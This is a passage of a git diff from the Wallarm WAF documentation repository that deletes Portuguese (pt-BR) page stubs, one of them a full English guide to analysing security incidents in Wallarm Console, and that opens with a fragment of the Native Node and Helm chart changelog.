(2024-09-11) - -* Minor technical improvements and optimizations - -### 0.4.3 (2024-09-05) - -* Fixed an issue causing ~0.1% of data source messages to be silently lost due to a typo - -### 0.4.1 (2024-08-27) - -* Added support for wildcard matching in the [`route_config.routes.host`](../../installation/native-node/all-in-one-conf.md#host) configuration parameter - -### 0.4.0 (2024-08-22) - -* [Initial release](../../installation/oob/tcp-traffic-mirror/deployment.md) - -## Helm chart - -The Helm chart for the Native Node is used for self-hosted node deployments with the [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), [Cloudflare](../../installation/connectors/cloudflare.md), [Kong API Gateway](../../installation/connectors/kong-api-gateway.md), and [Istio](../../installation/connectors/istio.md) connectors. - -[How to upgrade](helm-chart.md) - -### 0.7.0 (2024-10-17) - -* Fixed an issue where some internal service connector headers were not being stripped before processing -* Added support for [customizing sensitive data detection](../../api-discovery/setup.md#customizing-sensitive-data-detection) in API Discovery -* Fixed memory leak on duplicate response headers in [libproton](../../about-wallarm/protecting-against-attacks.md#library-libproton) -* Fixed memory leak related to IP addresses that are not in [IP lists](../../user-guides/ip-lists/overview.md) but have [known source](../../user-guides/ip-lists/overview.md#select-object) -* Updated artifact naming from "next" to "native" - - `wallarm/wallarm-node-next` → `wallarm/wallarm-node-native` - -### 0.5.3 (2024-10-01) - -* Initial release diff --git a/docs/pt-BR/updating-migrating/nginx-ingress-retirement.md b/docs/pt-BR/updating-migrating/nginx-ingress-retirement.md deleted file mode 100644 index 1bc595d1dc..0000000000 --- a/docs/pt-BR/updating-migrating/nginx-ingress-retirement.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/updating-migrating/nginx-ingress-retirement.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/nginx-modules.md b/docs/pt-BR/updating-migrating/nginx-modules.md deleted file mode 100644 index 6cec6025fb..0000000000 --- a/docs/pt-BR/updating-migrating/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/nginx-modules.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/node-artifact-versions.md b/docs/pt-BR/updating-migrating/node-artifact-versions.md deleted file mode 100644 index d20d9d3f2b..0000000000 --- a/docs/pt-BR/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/node-artifact-versions.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/older-versions/cloud-image.md b/docs/pt-BR/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index 8597eff545..0000000000 --- a/docs/pt-BR/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/older-versions/cloud-image.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/older-versions/docker-container.md b/docs/pt-BR/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index 3839ba31e8..0000000000 --- a/docs/pt-BR/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/older-versions/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/older-versions/ingress-controller.md b/docs/pt-BR/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index b3ca670b42..0000000000 --- a/docs/pt-BR/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/older-versions/ingress-controller.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/older-versions/multi-tenant.md b/docs/pt-BR/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index 57bcb791bf..0000000000 --- a/docs/pt-BR/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/older-versions/multi-tenant.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/older-versions/nginx-modules.md b/docs/pt-BR/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index 27313242b1..0000000000 --- a/docs/pt-BR/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/older-versions/nginx-modules.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/older-versions/separate-postanalytics.md b/docs/pt-BR/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index 15fb548612..0000000000 --- a/docs/pt-BR/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/older-versions/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/older-versions/what-is-new.md b/docs/pt-BR/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index d808c6c37b..0000000000 --- a/docs/pt-BR/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/older-versions/what-is-new.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/separate-postanalytics.md b/docs/pt-BR/updating-migrating/separate-postanalytics.md deleted file mode 100644 index 6c2632493f..0000000000 --- a/docs/pt-BR/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/sidecar-proxy.md b/docs/pt-BR/updating-migrating/sidecar-proxy.md deleted file mode 100644 index 44e6784ff6..0000000000 --- a/docs/pt-BR/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/sidecar-proxy.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/versioning-policy.md b/docs/pt-BR/updating-migrating/versioning-policy.md deleted file mode 100644 index bc714f87d4..0000000000 --- a/docs/pt-BR/updating-migrating/versioning-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/versioning-policy.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/what-is-new.md b/docs/pt-BR/updating-migrating/what-is-new.md deleted file mode 100644 index 5ce912e5e0..0000000000 --- a/docs/pt-BR/updating-migrating/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/what-is-new.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/api-leaks.md b/docs/pt-BR/user-guides/api-leaks.md deleted file mode 100644 index 87a73cd753..0000000000 --- a/docs/pt-BR/user-guides/api-leaks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/api-leaks.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/bola-protection.md b/docs/pt-BR/user-guides/bola-protection.md deleted file mode 100644 index 9ba5905585..0000000000 --- a/docs/pt-BR/user-guides/bola-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/bola-protection.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/dashboards/api-discovery.md b/docs/pt-BR/user-guides/dashboards/api-discovery.md deleted file mode 100644 index 0328cf1d8f..0000000000 --- a/docs/pt-BR/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/dashboards/api-discovery.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/dashboards/bi-dashboards.md b/docs/pt-BR/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index 601bd1da8b..0000000000 --- a/docs/pt-BR/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/dashboards/owasp-api-top-ten.md b/docs/pt-BR/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index f12ba7f403..0000000000 --- a/docs/pt-BR/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/dashboards/owasp-api-top-ten.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/dashboards/threat-prevention.md b/docs/pt-BR/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index 1623a5e2fe..0000000000 --- a/docs/pt-BR/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/dashboards/threat-prevention.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/events/analyze-attack.md b/docs/pt-BR/user-guides/events/analyze-attack.md deleted file mode 100644 index 19d4f90851..0000000000 --- a/docs/pt-BR/user-guides/events/analyze-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/events/analyze-attack.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/events/check-attack.md b/docs/pt-BR/user-guides/events/check-attack.md deleted file mode 100644 index 4a5bf47fa5..0000000000 --- a/docs/pt-BR/user-guides/events/check-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/events/check-attack.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/events/check-incident.md b/docs/pt-BR/user-guides/events/check-incident.md deleted file mode 100644 index 07f65c73bc..0000000000 --- a/docs/pt-BR/user-guides/events/check-incident.md +++ /dev/null @@ -1,62 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[img-attacks-tab]: ../../images/user-guides/events/check-attack.png -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action - -# Incident Analysis - -In Wallarm Console, you can analyze detected [incidents](../../glossary-en.md#security-incident) in the **Incidents** section. To find required data, please use the search field as described [here][use-search] or manually set required search filters. - -## Checking incidents - -![Incidents tab][img-incidents-tab] - -* **Date**: The date and time of the malicious request. - * If several requests of the same type were detected at short intervals, the attack duration appears under the date. Duration is the time period between the first request of a certain type and the last request of the same type in the specified timeframe. - * If the attack is happening at the current moment, an appropriate label is displayed. -* **Payloads**: Attack type and the number of unique [malicious payload](../../glossary-en.md#malicious-payload). -* **Hits**: The number of hits (requests) in the attack in the specified time frame. -* **Top IP / Source**: The IP address from which the malicious requests originated. When the malicious requests originate from several IP addresses, the interface shows the IP address responsible for the most requests. There is also the following data displayed for the IP address: - * The total number of IP addresses from which the requests in the same attack originated during the specified timeframe. - * The country/region in which the IP address is registered (if it was found in the databases like IP2Location or others) - * The source type, like **Public proxy**, **Web proxy**, **Tor** or the cloud platform the IP registered in, etc (if it was found in the databases like IP2Location or others) - * The **Malicious IPs** label will appear if the IP address is known for malicious activities. This is based on public records and expert validations -* **Domain / Path**: The domain, path and the application ID that the request targeted. -* **Status**: The attack blocking status (depends on the [traffic filtration mode](../../admin-en/configure-wallarm-mode.md)): - * Blocked: all hits of the attack were blocked by the filtering node. - * Partially blocked: some hits of the attack were blocked and others were only registered. - * Monitoring: all hits of the attack were registered but not blocked. -* **Parameter**: The malicious request's parameters and tags of [parsers](../rules/request-processing.md) applied to the request -* **Vulnerabilities**: The vulnerability, that the incident exploits. Clicking the vulnerability brings you to its detailed description and instructions on how to fix it. - -To sort incidents by the time of the last request, you can use the **Sort by latest hit** switch. - -## Responding to incidents - -The [incidents](../../glossary-en.md#security-incident) are the attacks targeted at a confirmed vulnerability. - -![Incidents tab][img-incidents-tab] - -Once incident appeared in the **Incidents** section: - -1. Follow the link in the **Vulnerabilities** column to get detailed vulnerability information including instructions on how to fix this vulnerability and the list of related incidents. - - ![Vulnerability detailed information](../../images/user-guides/vulnerabilities/vuln-info.png) - - **Fix the vulnerability** and then mark it closed in Wallarm. For detailed information, refer to [Managing Vulnerabilities](../vulnerabilities.md) article. - -1. Go back to the incident in the list, investigate what mechanism caused the system reaction (note the `Blocked`, `Partially blocked` and `Monitoring` [statuses](check-attack.md#attack-analysis) of the attacks), how the system will behave in future to alike requests and how to adjust (if necessary) this future behavior. - - For incidents, this investigation and adjusting is performed [in the same way](check-attack.md#responding-to-attacks) as for all other attacks. - -## API calls to get incidents - -To get the incident details, you can [call the Wallarm API directly](../../api/overview.md) besides using the Wallarm Console UI. Below is the example of the API call for **getting the first 50 incidents detected in the last 24 hours**. - -The request is similar to the [one used](check-attack.md#api-calls) for a list of attacks; the `"!vulnid": null` term is added to request for incidents. This term instructs the API to ignore all attacks without specified vulnerability ID, and this is how the system distinguishes between attacks and incidents. - -Please replace `TIMESTAMP` with the date 24 hours ago converted to the [Unix Timestamp](https://www.unixtimestamp.com/) format. - ---8<-- "../include/api-request-examples/get-incidents-en.md" diff --git a/docs/pt-BR/user-guides/events/false-attack.md b/docs/pt-BR/user-guides/events/false-attack.md deleted file mode 100644 index ce40d30eda..0000000000 --- a/docs/pt-BR/user-guides/events/false-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/events/false-attack.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/events/overview.md b/docs/pt-BR/user-guides/events/overview.md deleted file mode 100644 index 069b1e2fca..0000000000 --- a/docs/pt-BR/user-guides/events/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/events/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/events/verify-attack.md b/docs/pt-BR/user-guides/events/verify-attack.md deleted file mode 100644 index dc199eaefb..0000000000 --- a/docs/pt-BR/user-guides/events/verify-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/events/verify-attack.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/ip-lists/allowlist.md b/docs/pt-BR/user-guides/ip-lists/allowlist.md deleted file mode 100644 index d3b2c1e0c6..0000000000 --- a/docs/pt-BR/user-guides/ip-lists/allowlist.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/ip-lists/allowlist.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/ip-lists/denylist.md b/docs/pt-BR/user-guides/ip-lists/denylist.md deleted file mode 100644 index 198c12488c..0000000000 --- a/docs/pt-BR/user-guides/ip-lists/denylist.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/ip-lists/denylist.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/ip-lists/graylist.md b/docs/pt-BR/user-guides/ip-lists/graylist.md deleted file mode 100644 index f61a2b9a47..0000000000 --- a/docs/pt-BR/user-guides/ip-lists/graylist.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/ip-lists/graylist.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/ip-lists/overview.md b/docs/pt-BR/user-guides/ip-lists/overview.md deleted file mode 100644 index b96a3ff828..0000000000 --- a/docs/pt-BR/user-guides/ip-lists/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/ip-lists/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/nodes/cdn-node.md b/docs/pt-BR/user-guides/nodes/cdn-node.md deleted file mode 100644 index 1e8d9304cb..0000000000 --- a/docs/pt-BR/user-guides/nodes/cdn-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/nodes/cdn-node.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/nodes/nodes.md b/docs/pt-BR/user-guides/nodes/nodes.md deleted file mode 100644 index c65f6395bd..0000000000 --- a/docs/pt-BR/user-guides/nodes/nodes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/nodes/nodes.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/add-replace-response-header.md b/docs/pt-BR/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index a02b8a859b..0000000000 --- a/docs/pt-BR/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/add-replace-response-header.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/configure-overlimit-res-detection.md b/docs/pt-BR/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index 3cf5717f2b..0000000000 --- a/docs/pt-BR/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/configure-overlimit-res-detection.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/disable-request-parsers.md b/docs/pt-BR/user-guides/rules/disable-request-parsers.md deleted file mode 100644 index 37cc309906..0000000000 --- a/docs/pt-BR/user-guides/rules/disable-request-parsers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/disable-request-parsers.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/ignore-attack-types.md b/docs/pt-BR/user-guides/rules/ignore-attack-types.md deleted file mode 100644 index fe53229f1c..0000000000 --- a/docs/pt-BR/user-guides/rules/ignore-attack-types.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/ignore-attack-types.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/ignore-attacks-in-binary-data.md b/docs/pt-BR/user-guides/rules/ignore-attacks-in-binary-data.md deleted file mode 100644 index 1579f585b6..0000000000 --- a/docs/pt-BR/user-guides/rules/ignore-attacks-in-binary-data.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/ignore-attacks-in-binary-data.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/rate-limiting.md b/docs/pt-BR/user-guides/rules/rate-limiting.md deleted file mode 100644 index e73350d199..0000000000 --- a/docs/pt-BR/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/rate-limiting.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/regex-rule.md b/docs/pt-BR/user-guides/rules/regex-rule.md deleted file mode 100644 index 75dd6dd2d6..0000000000 --- a/docs/pt-BR/user-guides/rules/regex-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/regex-rule.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/request-processing.md b/docs/pt-BR/user-guides/rules/request-processing.md deleted file mode 100644 index c132fd64d4..0000000000 --- a/docs/pt-BR/user-guides/rules/request-processing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/request-processing.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/rules.md b/docs/pt-BR/user-guides/rules/rules.md deleted file mode 100644 index b5cc53b6b8..0000000000 --- a/docs/pt-BR/user-guides/rules/rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/rules/rules.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/sensitive-data-rule.md b/docs/pt-BR/user-guides/rules/sensitive-data-rule.md deleted file mode 100644 index 41b066992e..0000000000 --- a/docs/pt-BR/user-guides/rules/sensitive-data-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/sensitive-data-rule.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/vpatch-rule.md b/docs/pt-BR/user-guides/rules/vpatch-rule.md deleted file mode 100644 index fc283f6717..0000000000 --- a/docs/pt-BR/user-guides/rules/vpatch-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/vpatch-rule.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/rules/wallarm-mode-rule.md b/docs/pt-BR/user-guides/rules/wallarm-mode-rule.md deleted file mode 100644 index 4d8924a45c..0000000000 --- a/docs/pt-BR/user-guides/rules/wallarm-mode-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/rules/wallarm-mode-rule.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/search-and-filters/custom-report.md b/docs/pt-BR/user-guides/search-and-filters/custom-report.md deleted file mode 100644 index 2768ce7675..0000000000 --- a/docs/pt-BR/user-guides/search-and-filters/custom-report.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/search-and-filters/custom-report.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/search-and-filters/use-search-vuln.md b/docs/pt-BR/user-guides/search-and-filters/use-search-vuln.md deleted file mode 100644 index 6f94f57d35..0000000000 --- a/docs/pt-BR/user-guides/search-and-filters/use-search-vuln.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "5.0/user-guides/search-and-filters/use-search-vuln.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/search-and-filters/use-search.md b/docs/pt-BR/user-guides/search-and-filters/use-search.md deleted file mode 100644 index 8931bfa367..0000000000 --- a/docs/pt-BR/user-guides/search-and-filters/use-search.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/search-and-filters/use-search.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/account.md b/docs/pt-BR/user-guides/settings/account.md deleted file mode 100644 index ad342310f9..0000000000 --- a/docs/pt-BR/user-guides/settings/account.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/account.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/api-tokens.md b/docs/pt-BR/user-guides/settings/api-tokens.md deleted file mode 100644 index 21d613366a..0000000000 --- a/docs/pt-BR/user-guides/settings/api-tokens.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/api-tokens.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/applications.md b/docs/pt-BR/user-guides/settings/applications.md deleted file mode 100644 index cd5823f4a0..0000000000 --- a/docs/pt-BR/user-guides/settings/applications.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/applications.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/audit-log.md b/docs/pt-BR/user-guides/settings/audit-log.md deleted file mode 100644 index 7cb914c0aa..0000000000 --- a/docs/pt-BR/user-guides/settings/audit-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/audit-log.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/general.md b/docs/pt-BR/user-guides/settings/general.md deleted file mode 100644 index e30345da6f..0000000000 --- a/docs/pt-BR/user-guides/settings/general.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/general.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/amazon-s3.md b/docs/pt-BR/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index 438ed83723..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/amazon-s3.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/azure-sentinel.md b/docs/pt-BR/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index 23cd0f8848..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/azure-sentinel.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/datadog.md b/docs/pt-BR/user-guides/settings/integrations/datadog.md deleted file mode 100644 index 29088adb5f..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/datadog.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/email.md b/docs/pt-BR/user-guides/settings/integrations/email.md deleted file mode 100644 index 8730b7d28c..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/email.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/email.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/fluentd.md b/docs/pt-BR/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index 803cf7c03c..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/fluentd.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/insightconnect.md b/docs/pt-BR/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index 291d08237e..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/insightconnect.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/integrations-intro.md b/docs/pt-BR/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index 48e8500800..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/integrations-intro.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/jira.md b/docs/pt-BR/user-guides/settings/integrations/jira.md deleted file mode 100644 index 63d1b83ac1..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/jira.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/logstash.md b/docs/pt-BR/user-guides/settings/integrations/logstash.md deleted file mode 100644 index e034a40bf9..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/logstash.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/microsoft-teams.md b/docs/pt-BR/user-guides/settings/integrations/microsoft-teams.md deleted file mode 100644 index 01bd6dad2f..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/microsoft-teams.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/microsoft-teams.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/minio.md b/docs/pt-BR/user-guides/settings/integrations/minio.md deleted file mode 100644 index 751b1cd24f..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/minio.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/settings/integrations/minio.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/opsgenie.md b/docs/pt-BR/user-guides/settings/integrations/opsgenie.md deleted file mode 100644 index ef528129ad..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/opsgenie.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/opsgenie.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/pagerduty.md b/docs/pt-BR/user-guides/settings/integrations/pagerduty.md deleted file mode 100644 index f8a8be78a8..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/pagerduty.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/pagerduty.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/servicenow.md b/docs/pt-BR/user-guides/settings/integrations/servicenow.md deleted file mode 100644 index e203e58c35..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/servicenow.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/servicenow.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/slack.md b/docs/pt-BR/user-guides/settings/integrations/slack.md deleted file mode 100644 index d18a3767e6..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/slack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/slack.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/splunk.md b/docs/pt-BR/user-guides/settings/integrations/splunk.md deleted file mode 100644 index 35e7d844a0..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/splunk.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/splunk.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/sumologic.md b/docs/pt-BR/user-guides/settings/integrations/sumologic.md deleted file mode 100644 index cc41ecf797..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/sumologic.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/sumologic.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/telegram.md b/docs/pt-BR/user-guides/settings/integrations/telegram.md deleted file mode 100644 index 3808e62c38..0000000000 --- a/docs/pt-BR/user-guides/settings/integrations/telegram.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/user-guides/settings/integrations/telegram.md" \ No newline at end of file diff --git a/docs/pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md b/docs/pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md deleted file mode 100644 index 099f5c9761..0000000000 --- 